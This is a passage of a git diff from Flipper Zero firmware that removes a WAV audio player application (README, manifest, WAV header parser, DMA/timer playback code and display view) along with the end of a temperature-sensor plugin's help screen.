0, 128, 64, 7); - - snprintf(app->buff, BUFF_SIZE, "#Unitemp %s#", UNITEMP_APP_VER); - widget_add_text_box_element( - app->widget, 0, 4, 128, 12, AlignCenter, AlignCenter, app->buff, false); - - widget_add_text_scroll_element( - app->widget, - 4, - 16, - 121, - 44, - "Universal plugin for viewing the values of temperature\nsensors\n\e#Author: Quenon\ngithub.com/quen0n\n\e#Designer: Svaarich\ngithub.com/Svaarich\n\e#Issues & suggestions\ntiny.one/unitemp"); - - view_set_previous_callback(widget_get_view(app->widget), _help_exit_callback); - view_dispatcher_switch_to_view(app->view_dispatcher, UnitempViewWidget); -} \ No newline at end of file diff --git a/applications/external/wav_player/README.md b/applications/external/wav_player/README.md deleted file mode 100644 index b57afda87..000000000 --- a/applications/external/wav_player/README.md +++ /dev/null @@ -1,6 +0,0 @@ -# WAV player - A Flipper Zero application for playing wav files. My fork adds support for correct playback speed (for files with different sample rates) and for mono files (original wav player only plays stereo). ~~You still need to convert your file to unsigned 8-bit PCM format for it to played correctly on flipper~~. Now supports 16-bit (ordinary) wav files too, both mono and stereo! - -Original app by https://github.com/DrZlo13. - -Also outputs audio on `PA6` - `3(A6)` pin \ No newline at end of file diff --git a/applications/external/wav_player/application.fam b/applications/external/wav_player/application.fam deleted file mode 100644 index b476f8e43..000000000 --- a/applications/external/wav_player/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="wav_player", - name="WAV Player", - apptype=FlipperAppType.EXTERNAL, - entry_point="wav_player_app", - stack_size=4 * 1024, - order=46, - fap_icon="wav_10px.png", - fap_category="Media", - fap_icon_assets="images", - fap_author="@DrZlo13 & (ported, fixed by @xMasterX), (improved by @LTVA1)", - fap_version="1.0", - fap_description="Audio player for WAV files, recommended to convert files to unsigned 8-bit PCM stereo, but it may work with others too", -) diff --git a/applications/external/wav_player/images/music_10px.png b/applications/external/wav_player/images/music_10px.png deleted file mode 100644 index d41eb0db8..000000000 Binary files a/applications/external/wav_player/images/music_10px.png and /dev/null differ diff --git a/applications/external/wav_player/wav_10px.png b/applications/external/wav_player/wav_10px.png deleted file mode 100644 index 54ff554a1..000000000 Binary files a/applications/external/wav_player/wav_10px.png and /dev/null differ diff --git a/applications/external/wav_player/wav_parser.c b/applications/external/wav_player/wav_parser.c deleted file mode 100644 index 1f534bacb..000000000 --- a/applications/external/wav_player/wav_parser.c +++ /dev/null @@ -1,88 +0,0 @@ -#include "wav_parser.h" - -#define TAG "WavParser" - -const char* format_text(FormatTag tag) { - switch(tag) { - case FormatTagPCM: - return "PCM"; - case FormatTagIEEE_FLOAT: - return "IEEE FLOAT"; - default: - return "Unknown"; - } -}; - -struct WavParser { - WavHeaderChunk header; - WavFormatChunk format; - WavDataChunk data; - size_t wav_data_start; - size_t wav_data_end; -}; - -WavParser* wav_parser_alloc() { - return malloc(sizeof(WavParser)); -} - -void wav_parser_free(WavParser* parser) { - free(parser); -} - -bool wav_parser_parse(WavParser* parser, Stream* stream, WavPlayerApp* app) { - stream_read(stream, (uint8_t*)&parser->header, sizeof(WavHeaderChunk)); - stream_read(stream, (uint8_t*)&parser->format, sizeof(WavFormatChunk)); - stream_read(stream, (uint8_t*)&parser->data, sizeof(WavDataChunk)); - - if(memcmp(parser->header.riff, "RIFF", 4) != 0 || - memcmp(parser->header.wave, "WAVE", 4) != 0) { - FURI_LOG_E(TAG, "WAV: wrong header"); - return false; - } - - if(memcmp(parser->format.fmt, "fmt ", 4) != 0) { - FURI_LOG_E(TAG, "WAV: wrong format"); - return false; - } - - if(parser->format.tag != FormatTagPCM || memcmp(parser->data.data, "data", 4) != 0) { - FURI_LOG_E( - TAG, - "WAV: non-PCM format %u, next '%lu'", - parser->format.tag, - (uint32_t)parser->data.data); - return false; - } - - FURI_LOG_I( - TAG, - "Format tag: %s, ch: %u, smplrate: %lu, bps: %lu, bits: %u", - format_text(parser->format.tag), - parser->format.channels, - parser->format.sample_rate, - parser->format.byte_per_sec, - parser->format.bits_per_sample); - - app->sample_rate = parser->format.sample_rate; - app->num_channels = parser->format.channels; - app->bits_per_sample = parser->format.bits_per_sample; - - parser->wav_data_start = stream_tell(stream); - parser->wav_data_end = parser->wav_data_start + parser->data.size; - - FURI_LOG_I(TAG, "data: %u - %u", parser->wav_data_start, parser->wav_data_end); - - return true; -} - -size_t wav_parser_get_data_start(WavParser* parser) { - return parser->wav_data_start; -} - -size_t wav_parser_get_data_end(WavParser* parser) { - return parser->wav_data_end; -} - -size_t wav_parser_get_data_len(WavParser* parser) { - return parser->wav_data_end - parser->wav_data_start; -} diff --git a/applications/external/wav_player/wav_parser.h b/applications/external/wav_player/wav_parser.h deleted file mode 100644 index b442406f9..000000000 --- a/applications/external/wav_player/wav_parser.h +++ /dev/null @@ -1,89 +0,0 @@ -#pragma once -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "wav_player_view.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - FormatTagPCM = 0x0001, - FormatTagIEEE_FLOAT = 0x0003, -} FormatTag; - -typedef struct { - uint8_t riff[4]; - uint32_t size; - uint8_t wave[4]; -} WavHeaderChunk; - -typedef struct { - uint8_t fmt[4]; - uint32_t size; - uint16_t tag; - uint16_t channels; - uint32_t sample_rate; - uint32_t byte_per_sec; - uint16_t block_align; - uint16_t bits_per_sample; -} WavFormatChunk; - -typedef struct { - uint8_t data[4]; - uint32_t size; -} WavDataChunk; - -typedef struct WavParser WavParser; - -typedef struct { - Storage* storage; - Stream* stream; - WavParser* parser; - uint16_t* sample_buffer; - uint8_t* tmp_buffer; - - uint32_t sample_rate; - - uint16_t num_channels; - uint16_t bits_per_sample; - - size_t samples_count_half; - size_t samples_count; - - FuriMessageQueue* queue; - - float volume; - bool play; - - WavPlayerView* view; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notification; -} WavPlayerApp; - -WavParser* wav_parser_alloc(); - -void wav_parser_free(WavParser* parser); - -bool wav_parser_parse(WavParser* parser, Stream* stream, WavPlayerApp* app); - -size_t wav_parser_get_data_start(WavParser* parser); - -size_t wav_parser_get_data_end(WavParser* parser); - -size_t wav_parser_get_data_len(WavParser* parser); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/wav_player/wav_player.c b/applications/external/wav_player/wav_player.c deleted file mode 100644 index 3a48f41e8..000000000 --- a/applications/external/wav_player/wav_player.c +++ /dev/null @@ -1,462 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "wav_player_hal.h" -#include "wav_parser.h" -#include "wav_player_view.h" -#include - -#include - -#define TAG "WavPlayer" - -#define WAVPLAYER_FOLDER "/ext/wav_player" - -static bool open_wav_stream(Stream* stream) { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - bool result = false; - FuriString* path; - path = furi_string_alloc(); - furi_string_set(path, WAVPLAYER_FOLDER); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, ".wav", &I_music_10px); - browser_options.base_path = WAVPLAYER_FOLDER; - browser_options.hide_ext = false; - - bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options); - - furi_record_close(RECORD_DIALOGS); - if(ret) { - if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path)); - } else { - result = true; - } - } - furi_string_free(path); - return result; -} - -typedef enum { - WavPlayerEventHalfTransfer, - WavPlayerEventFullTransfer, - WavPlayerEventCtrlVolUp, - WavPlayerEventCtrlVolDn, - WavPlayerEventCtrlMoveL, - WavPlayerEventCtrlMoveR, - WavPlayerEventCtrlOk, - WavPlayerEventCtrlBack, -} WavPlayerEventType; - -typedef struct { - WavPlayerEventType type; -} WavPlayerEvent; - -static void wav_player_dma_isr(void* ctx) { - FuriMessageQueue* event_queue = ctx; - - // half of transfer - if(LL_DMA_IsActiveFlag_HT1(DMA1)) { - LL_DMA_ClearFlag_HT1(DMA1); - // fill first half of buffer - WavPlayerEvent event = {.type = WavPlayerEventHalfTransfer}; - furi_message_queue_put(event_queue, &event, 0); - } - - // transfer complete - if(LL_DMA_IsActiveFlag_TC1(DMA1)) { - LL_DMA_ClearFlag_TC1(DMA1); - // fill second half of buffer - WavPlayerEvent event = {.type = WavPlayerEventFullTransfer}; - furi_message_queue_put(event_queue, &event, 0); - } -} - -static WavPlayerApp* app_alloc() { - WavPlayerApp* app = malloc(sizeof(WavPlayerApp)); - app->samples_count_half = 1024 * 4; - app->samples_count = app->samples_count_half * 2; - app->storage = furi_record_open(RECORD_STORAGE); - app->stream = file_stream_alloc(app->storage); - app->parser = wav_parser_alloc(); - app->sample_buffer = malloc(sizeof(uint16_t) * app->samples_count); - app->tmp_buffer = malloc(sizeof(uint8_t) * app->samples_count); - app->queue = furi_message_queue_alloc(10, sizeof(WavPlayerEvent)); - - app->volume = 10.0f; - app->play = true; - - app->gui = furi_record_open(RECORD_GUI); - app->view_dispatcher = view_dispatcher_alloc(); - app->view = wav_player_view_alloc(); - - view_dispatcher_add_view(app->view_dispatcher, 0, wav_player_view_get_view(app->view)); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - app->notification = furi_record_open(RECORD_NOTIFICATION); - notification_message(app->notification, &sequence_display_backlight_enforce_on); - - return app; -} - -static void app_free(WavPlayerApp* app) { - view_dispatcher_remove_view(app->view_dispatcher, 0); - view_dispatcher_free(app->view_dispatcher); - wav_player_view_free(app->view); - furi_record_close(RECORD_GUI); - - furi_message_queue_free(app->queue); - free(app->tmp_buffer); - free(app->sample_buffer); - wav_parser_free(app->parser); - stream_free(app->stream); - furi_record_close(RECORD_STORAGE); - - notification_message(app->notification, &sequence_display_backlight_enforce_auto); - furi_record_close(RECORD_NOTIFICATION); - free(app); -} - -// TODO: that works only with 8-bit 2ch audio -static bool fill_data(WavPlayerApp* app, size_t index) { - if(app->num_channels == 1 && app->bits_per_sample == 8) { - uint16_t* sample_buffer_start = &app->sample_buffer[index]; - size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count_half); - - for(size_t i = count; i < app->samples_count_half; i++) { - app->tmp_buffer[i] = 0; - } - - //for(size_t i = 0; i < app->samples_count; i += 2) - for(size_t i = 0; i < app->samples_count_half; i++) //now works with mono! - { - float data = app->tmp_buffer[i]; - data -= UINT8_MAX / 2; // to signed - data /= UINT8_MAX / 2; // scale -1..1 - - data *= app->volume; // volume - data = tanhf(data); // hyperbolic tangent limiter - - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - //uint8_t data = app->tmp_buffer[i]; - - sample_buffer_start[i] = data; - } - - wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); - - return count != app->samples_count_half; - } - - if(app->num_channels == 1 && app->bits_per_sample == 16) { - uint16_t* sample_buffer_start = &app->sample_buffer[index]; - size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); - - for(size_t i = count; i < app->samples_count; i++) { - //app->tmp_buffer[i] = 0; - } - - for(size_t i = 0; i < app->samples_count; i += 2) { - int16_t int_16 = - (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); - - float data = ((float)int_16 / 256.0 + 127.0); - data -= UINT8_MAX / 2; // to signed - data /= UINT8_MAX / 2; // scale -1..1 - - data *= app->volume; // volume - data = tanhf(data); // hyperbolic tangent limiter - - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - sample_buffer_start[i / 2] = data; - } - - wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); - - return count != app->samples_count; - } - - if(app->num_channels == 2 && app->bits_per_sample == 16) { - uint16_t* sample_buffer_start = &app->sample_buffer[index]; - size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); - - for(size_t i = 0; i < app->samples_count; i += 4) { - int16_t L = (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); - int16_t R = (((int16_t)app->tmp_buffer[i + 3] << 8) + (int16_t)app->tmp_buffer[i + 2]); - int32_t int_16 = L / 2 + R / 2; // (L + R) / 2 - - float data = ((float)int_16 / 256.0 + 127.0); - data -= UINT8_MAX / 2; // to signed - data /= UINT8_MAX / 2; // scale -1..1 - - data *= app->volume; // volume - data = tanhf(data); // hyperbolic tangent limiter - - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - sample_buffer_start[i / 4] = data; - } - - count = stream_read(app->stream, app->tmp_buffer, app->samples_count); - - for(size_t i = 0; i < app->samples_count; i += 4) { - int16_t L = (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); - int16_t R = (((int16_t)app->tmp_buffer[i + 3] << 8) + (int16_t)app->tmp_buffer[i + 2]); - int32_t int_16 = L / 2 + R / 2; // (L + R) / 2 - - float data = ((float)int_16 / 256.0 + 127.0); - data -= UINT8_MAX / 2; // to signed - data /= UINT8_MAX / 2; // scale -1..1 - - data *= app->volume; // volume - data = tanhf(data); // hyperbolic tangent limiter - - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - sample_buffer_start[i / 4 + app->samples_count / 4] = data; - } - - wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); - - return count != app->samples_count; - } - - if(app->num_channels == 2 && app->bits_per_sample == 8) { - uint16_t* sample_buffer_start = &app->sample_buffer[index]; - size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); - - for(size_t i = count; i < app->samples_count; i++) { - app->tmp_buffer[i] = 0; - } - - for(size_t i = 0; i < app->samples_count; i += 2) { - float data = (app->tmp_buffer[i] + app->tmp_buffer[i + 1]) / 2; // (L + R) / 2 - data -= UINT8_MAX / 2; // to signed - data /= UINT8_MAX / 2; // scale -1..1 - - data *= app->volume; // volume - data = tanhf(data); // hyperbolic tangent limiter - - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - //uint8_t data = app->tmp_buffer[i]; - - sample_buffer_start[i / 2] = data; - } - - wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); - - return count != app->samples_count; - } - - return true; -} - -static void ctrl_callback(WavPlayerCtrl ctrl, void* ctx) { - FuriMessageQueue* event_queue = ctx; - WavPlayerEvent event; - - switch(ctrl) { - case WavPlayerCtrlVolUp: - event.type = WavPlayerEventCtrlVolUp; - furi_message_queue_put(event_queue, &event, 0); - break; - case WavPlayerCtrlVolDn: - event.type = WavPlayerEventCtrlVolDn; - furi_message_queue_put(event_queue, &event, 0); - break; - case WavPlayerCtrlMoveL: - event.type = WavPlayerEventCtrlMoveL; - furi_message_queue_put(event_queue, &event, 0); - break; - case WavPlayerCtrlMoveR: - event.type = WavPlayerEventCtrlMoveR; - furi_message_queue_put(event_queue, &event, 0); - break; - case WavPlayerCtrlOk: - event.type = WavPlayerEventCtrlOk; - furi_message_queue_put(event_queue, &event, 0); - break; - case WavPlayerCtrlBack: - event.type = WavPlayerEventCtrlBack; - furi_message_queue_put(event_queue, &event, 0); - break; - default: - break; - } -} - -static void app_run(WavPlayerApp* app) { - if(!open_wav_stream(app->stream)) return; - if(!wav_parser_parse(app->parser, app->stream, app)) return; - - wav_player_view_set_volume(app->view, app->volume); - wav_player_view_set_start(app->view, wav_parser_get_data_start(app->parser)); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - wav_player_view_set_end(app->view, wav_parser_get_data_end(app->parser)); - wav_player_view_set_play(app->view, app->play); - - wav_player_view_set_context(app->view, app->queue); - wav_player_view_set_ctrl_callback(app->view, ctrl_callback); - - bool eof = fill_data(app, 0); - eof = fill_data(app, app->samples_count_half); - - if(furi_hal_speaker_acquire(1000)) { - wav_player_speaker_init(app->sample_rate); - wav_player_dma_init((uint32_t)app->sample_buffer, app->samples_count); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, wav_player_dma_isr, app->queue); - - wav_player_dma_start(); - wav_player_speaker_start(); - - WavPlayerEvent event; - - while(1) { - if(furi_message_queue_get(app->queue, &event, FuriWaitForever) == FuriStatusOk) { - if(event.type == WavPlayerEventHalfTransfer) { - wav_player_view_set_chans(app->view, app->num_channels); - wav_player_view_set_bits(app->view, app->bits_per_sample); - - eof = fill_data(app, 0); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - if(eof) { - stream_seek( - app->stream, - wav_parser_get_data_start(app->parser), - StreamOffsetFromStart); - } - - } else if(event.type == WavPlayerEventFullTransfer) { - wav_player_view_set_chans(app->view, app->num_channels); - wav_player_view_set_bits(app->view, app->bits_per_sample); - - eof = fill_data(app, app->samples_count_half); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - if(eof) { - stream_seek( - app->stream, - wav_parser_get_data_start(app->parser), - StreamOffsetFromStart); - } - } else if(event.type == WavPlayerEventCtrlVolUp) { - if(app->volume < 9.9) app->volume += 0.4; - wav_player_view_set_volume(app->view, app->volume); - } else if(event.type == WavPlayerEventCtrlVolDn) { - if(app->volume > 0.01) app->volume -= 0.4; - wav_player_view_set_volume(app->view, app->volume); - } else if(event.type == WavPlayerEventCtrlMoveL) { - int32_t seek = - stream_tell(app->stream) - wav_parser_get_data_start(app->parser); - seek = MIN( - seek, - (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) % 2 ? - ((int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) - 1) : - (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); - stream_seek(app->stream, -seek, StreamOffsetFromCurrent); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - } else if(event.type == WavPlayerEventCtrlMoveR) { - int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); - seek = MIN( - seek, - (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) % 2 ? - ((int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) - 1) : - (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); - stream_seek(app->stream, seek, StreamOffsetFromCurrent); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - } else if(event.type == WavPlayerEventCtrlOk) { - app->play = !app->play; - wav_player_view_set_play(app->view, app->play); - - if(!app->play) { - wav_player_speaker_stop(); - } else { - wav_player_speaker_start(); - } - } else if(event.type == WavPlayerEventCtrlBack) { - break; - } - } - } - - wav_player_speaker_stop(); - wav_player_dma_stop(); - furi_hal_speaker_release(); - } - - // Reset GPIO pin and bus states - wav_player_hal_deinit(); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); -} - -int32_t wav_player_app(void* p) { - UNUSED(p); - WavPlayerApp* app = app_alloc(); - - Storage* storage = furi_record_open(RECORD_STORAGE); - if(!storage_simply_mkdir(storage, WAVPLAYER_FOLDER)) { - FURI_LOG_E(TAG, "Could not create folder %s", WAVPLAYER_FOLDER); - } - furi_record_close(RECORD_STORAGE); - - app_run(app); - app_free(app); - return 0; -} diff --git a/applications/external/wav_player/wav_player_hal.c b/applications/external/wav_player/wav_player_hal.c deleted file mode 100644 index cf2688523..000000000 --- a/applications/external/wav_player/wav_player_hal.c +++ /dev/null @@ -1,111 +0,0 @@ -#include "wav_player_hal.h" -#include -#include - -#include -#include -#include -#include - -//#define FURI_HAL_SPEAKER_TIMER TIM16 - -#define FURI_HAL_SPEAKER_TIMER TIM16 - -#define SAMPLE_RATE_TIMER TIM2 - -#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 -#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 - -void wav_player_speaker_init(uint32_t sample_rate) { - // Enable bus - furi_hal_bus_enable(FuriHalBusTIM2); - - LL_TIM_InitTypeDef TIM_InitStruct = {0}; - //TIM_InitStruct.Prescaler = 4; - TIM_InitStruct.Prescaler = 1; - TIM_InitStruct.Autoreload = - 255; //in this fork used purely as PWM timer, the DMA now is triggered by SAMPLE_RATE_TIMER - LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); - - LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; - TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; - TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; - TIM_OC_InitStruct.CompareValue = 127; - LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); - - //====================================================== - - TIM_InitStruct.Prescaler = 0; - //TIM_InitStruct.Autoreload = 1451; //64 000 000 / 1451 ~= 44100 Hz - - TIM_InitStruct.Autoreload = 64000000 / sample_rate - 1; //to support various sample rates - - LL_TIM_Init(SAMPLE_RATE_TIMER, &TIM_InitStruct); - - //LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; - TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; - TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; - TIM_OC_InitStruct.CompareValue = 127; - LL_TIM_OC_Init(SAMPLE_RATE_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); - - //========================================================= - //configuring PA6 pin as TIM16 output - - furi_hal_gpio_init_ex( - &gpio_ext_pa6, - GpioModeAltFunctionPushPull, - GpioPullNo, - GpioSpeedVeryHigh, - GpioAltFn14TIM16); -} - -void wav_player_hal_deinit() { - furi_hal_gpio_init(&gpio_ext_pa6, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - - // Disable bus - furi_hal_bus_disable(FuriHalBusTIM2); -} - -void wav_player_speaker_start() { - LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); - - LL_TIM_EnableAllOutputs(SAMPLE_RATE_TIMER); - LL_TIM_EnableCounter(SAMPLE_RATE_TIMER); -} - -void wav_player_speaker_stop() { - LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); - - LL_TIM_DisableAllOutputs(SAMPLE_RATE_TIMER); - LL_TIM_DisableCounter(SAMPLE_RATE_TIMER); -} - -void wav_player_dma_init(uint32_t address, size_t size) { - uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); - - LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetDataLength(DMA_INSTANCE, size); - - LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM2_UP); - LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); - LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); - LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); - LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); - LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD); - LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); - - LL_DMA_EnableIT_TC(DMA_INSTANCE); - LL_DMA_EnableIT_HT(DMA_INSTANCE); -} - -void wav_player_dma_start() { - LL_DMA_EnableChannel(DMA_INSTANCE); - LL_TIM_EnableDMAReq_UPDATE(SAMPLE_RATE_TIMER); -} - -void wav_player_dma_stop() { - LL_DMA_DisableChannel(DMA_INSTANCE); -} \ No newline at end of file diff --git a/applications/external/wav_player/wav_player_hal.h b/applications/external/wav_player/wav_player_hal.h deleted file mode 100644 index bddfc3fed..000000000 --- a/applications/external/wav_player/wav_player_hal.h +++ /dev/null @@ -1,25 +0,0 @@ -#pragma once -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -void wav_player_speaker_init(); - -void wav_player_speaker_start(); - -void wav_player_speaker_stop(); - -void wav_player_dma_init(uint32_t address, size_t size); - -void wav_player_dma_start(); - -void wav_player_dma_stop(); - -void wav_player_hal_deinit(); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/wav_player/wav_player_view.c b/applications/external/wav_player/wav_player_view.c deleted file mode 100644 index 285b3dd33..000000000 --- a/applications/external/wav_player/wav_player_view.c +++ /dev/null @@ -1,202 +0,0 @@ -#include "wav_player_view.h" - -float map(float x, float in_min, float in_max, float out_min, float out_max) { - return (x - in_min) * (out_max - out_min + 1) / (in_max - in_min + 1) + out_min; -} - -static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { - WavPlayerViewModel* model = _model; - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - uint8_t x_pos = 0; - uint8_t y_pos = 0; - - /*char buffer[20]; - snprintf(buffer, sizeof(buffer), "%d", model->num_channels); - canvas_draw_str(canvas, 0, 10, buffer); - snprintf(buffer, sizeof(buffer), "%d", model->bits_per_sample); - canvas_draw_str(canvas, 0, 20, buffer);*/ - - // volume - x_pos = 123; - y_pos = 0; - const float volume = (64 / 10.0f) * model->volume; - canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); - canvas_draw_box(canvas, x_pos, y_pos + (64 - volume), 4, volume); - - // play / pause - x_pos = 58; - y_pos = 55; - if(!model->play) { - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 8, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 8, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - } else { - canvas_draw_box(canvas, x_pos, y_pos, 3, 9); - canvas_draw_box(canvas, x_pos + 4, y_pos, 3, 9); - } - - x_pos = 78; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 82; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 40; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 44; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - // len - x_pos = 4; - y_pos = 47; - const uint8_t play_len = 116; - uint8_t play_pos = map(model->current, model->start, model->end, 0, play_len - 4); - - canvas_draw_frame(canvas, x_pos, y_pos, play_len, 4); - canvas_draw_box(canvas, x_pos + play_pos, y_pos - 2, 4, 8); - canvas_draw_box(canvas, x_pos, y_pos, play_pos, 4); - - // osc - x_pos = 4; - y_pos = 0; - for(size_t i = 1; i < DATA_COUNT; i++) { - canvas_draw_line(canvas, x_pos + i - 1, model->data[i - 1], x_pos + i, model->data[i]); - } -} - -static bool wav_player_view_input_callback(InputEvent* event, void* context) { - WavPlayerView* wav_player_view = context; - bool consumed = false; - - if(wav_player_view->callback) { - if(event->type == InputTypeShort || event->type == InputTypeRepeat) { - if(event->key == InputKeyUp) { - wav_player_view->callback(WavPlayerCtrlVolUp, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyDown) { - wav_player_view->callback(WavPlayerCtrlVolDn, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyLeft) { - wav_player_view->callback(WavPlayerCtrlMoveL, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyRight) { - wav_player_view->callback(WavPlayerCtrlMoveR, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyOk) { - wav_player_view->callback(WavPlayerCtrlOk, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyBack) { - wav_player_view->callback(WavPlayerCtrlBack, wav_player_view->context); - consumed = true; - } - } - } - - return consumed; -} - -WavPlayerView* wav_player_view_alloc() { - WavPlayerView* wav_view = malloc(sizeof(WavPlayerView)); - wav_view->view = view_alloc(); - view_set_context(wav_view->view, wav_view); - view_allocate_model(wav_view->view, ViewModelTypeLocking, sizeof(WavPlayerViewModel)); - view_set_draw_callback(wav_view->view, wav_player_view_draw_callback); - view_set_input_callback(wav_view->view, wav_player_view_input_callback); - - return wav_view; -} - -void wav_player_view_free(WavPlayerView* wav_view) { - furi_assert(wav_view); - view_free(wav_view->view); - free(wav_view); -} - -View* wav_player_view_get_view(WavPlayerView* wav_view) { - furi_assert(wav_view); - return wav_view->view; -} - -void wav_player_view_set_volume(WavPlayerView* wav_view, float volume) { - furi_assert(wav_view); - with_view_model( - wav_view->view, WavPlayerViewModel * model, { model->volume = volume; }, true); -} - -void wav_player_view_set_start(WavPlayerView* wav_view, 